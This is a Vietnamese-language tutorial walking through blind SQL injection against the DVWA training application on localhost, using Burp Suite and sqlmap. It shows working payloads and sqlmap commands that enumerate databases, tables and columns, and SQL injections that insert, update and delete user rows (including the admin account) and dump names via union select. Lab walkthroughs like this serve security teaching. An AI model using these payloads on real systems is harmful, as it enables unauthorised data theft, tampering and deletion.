Ví dụ về một cuộc tấn công SQL Injection - Blind SQL Injection
Blind SQL Injection a. Tổng quan Blind SQL Injection là một phương pháp thực hiện SQL Injection trong điều kiện các thông tin khai thác được không được trình bày trực tiếp trên nội dung phản hồi từ database. Blind SQL Injection dựa vào việc sử dụng các mệnh đề điều kiện để thực hiện suy luận ...
Blind SQL Injection
a. Tổng quan
Blind SQL Injection là một phương pháp thực hiện SQL Injection trong điều kiện các thông tin khai thác được không được trình bày trực tiếp trên nội dung phản hồi từ database. Blind SQL Injection dựa vào việc sử dụng các mệnh đề điều kiện để thực hiện suy luận thông tin cần khai thác. Cụ thể, Blind SQL Injection sử dụng chính các thông tin cần khai thác làm mệnh đề điều kiện (mệnh đề suy luận), và sử dụng các phương pháp khác nhau để “đánh dấu” trường hợp đúng/sai của mệnh đề đó. Căn cứ vào phương pháp “đánh dấu” trường hợp đúng/sai của mệnh đề quan hệ, ta chia ra hai cách chính thực hiện blind SQL Injection:
- Dựa vào nội dung phản hồi (response-based)
- Dựa vào độ trễ của thời gian phản hồi (time-based) Các phương pháp thực hiện blind SQL Injection có thể áp dụng cho các mô hình khác mà không gặp trở ngại nào, tuy nhiên chi phí thực hiện sẽ luôn cao hơn về mặt thời gian và số truy vấn cần thiết.
b. Thực hiện tấn công blind SQL Injection. Chèn, sửa, xóa dữ liệu.
Ví dụ tại trang web này, khi ta nhập id vào textField rồi bấm submit thì kết quả trả về firstname và lastname của user đó.
Ta thử nhập: 1’ and 1=1 # thì được kết quả
Khi nhập
1’ and 1=0 #
Thì không được kết quả hiển thị
=> Có khả năng xuất hiện lỗ hổng bảo mật
Bây giờ chúng ta sẽ thực hiện khai thác database.
Công cụ sử dụng: Kali Linux, Burp suite, Sqlmap, Mozzila FireFox
B1: Config proxy sang Manual Proxy sử dụng địa chỉ 127.0.0.1 và port 8080
Mozzila > Setting > Advanced > Network setting.
Chọn Manual Proxy Configuaration.
HTTP Proxy: 127.0.0.1 và Port: 8080 > OK.
B2: Khởi động Burp Suite để bắt các resquest đến server từ cổng 127.0.0.1:8080
B3: Quay lại trình duyệt FireFox, nhập id bất kì và bấm Submit
B4: Quay lại Burp Suite, ta thấy Burp Suite đã bắt được request
Chúng ta lưu ý 2 dòng này:
Referer: http://localhost/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit
Cookie: security=low; PHPSESSID=9kb2ltm75rskjdud5b66uig8p7
B5: Mở Terminal gõ lệnh:
Sqlmap -u “(1)” –cookie=”(2)” -dbs
Tại ngoặc kép thứ nhất ta thay thế (1) bằng url parameter Referer của request vừa bắt được ở Burp suite, ngoặc kép thứ hai ta thay thế (2) bằng param Cookie
Kết quả thu được:
Như vậy Database mà trang web sử dụng chính là dvwa. Chúng ta tiếp tục list ra những bảng của DB bằng lệnh:
Sqlmap -u “(1)” –cookie=”(2)” -D dvwa –-tables
thì được kết quả như sau: Database: dvwa bao gồm 2 bảng users và guestbook
Chúng ta list ra những cột của bảng users bằng lệnh:
Sqlmap -u “(1)” –cookie=”(2)” -D dvwa -T users --columns
Như vậy ta đã thu được thông tin về bảng users. Từ đây, ta có thể thao tác được với db thông qua việc injection các query thông qua ô textField ban đầu.
Thử thêm dữ liệu người dùng
Nhập vào ô USER ID:
1’ INSERT INTO users (user_id, first_name, last_name) VALUES (“7”, “Cuong”, “Nguyen Thai”);
Thành công!
Sửa dữ liệu người dùng
Nhập vào ô USER ID:
1'; UPDATE users SET first_name = "TAI", last_name="CHAN DOI" WHERE user_id = "5";
Ta được kết quả:
Xóa dữ liệu người dùng
Mình thử xóa tài khoản ‘admin’ có user_id = 1
Nhập vào ô USER ID:
1’; DELETE FROM users WHERE user_id = “1”;
Thành công! Sau khi nhập lai id = 1 thì không còn hiện tài khoản admin nữa.
Hoặc sử dụng lệnh union select để hiển thị thông tin của bảng user
1' union select first_name,last_name from users;
Tổng kết
Với tính nghiêm trọng của các cuộc tấn công, tính dễ thực hiện một cuộc tấn công đã khiến cho SQL Injection một thời từng là hiểm họa nghiêm trọng đối với các giao dịch thương mại điện tử trên các ứng dụng Web được phát triển thiếu an toàn. Hiện nay, việc nghiên cứu SQL Injection đã có hệ thống và toàn diện hơn, mối nguy hiểm này đã giảm đi, nhưng số liệu thống kê vẫn cho thấy vấn đề này còn chưa được giải quyết triệt để.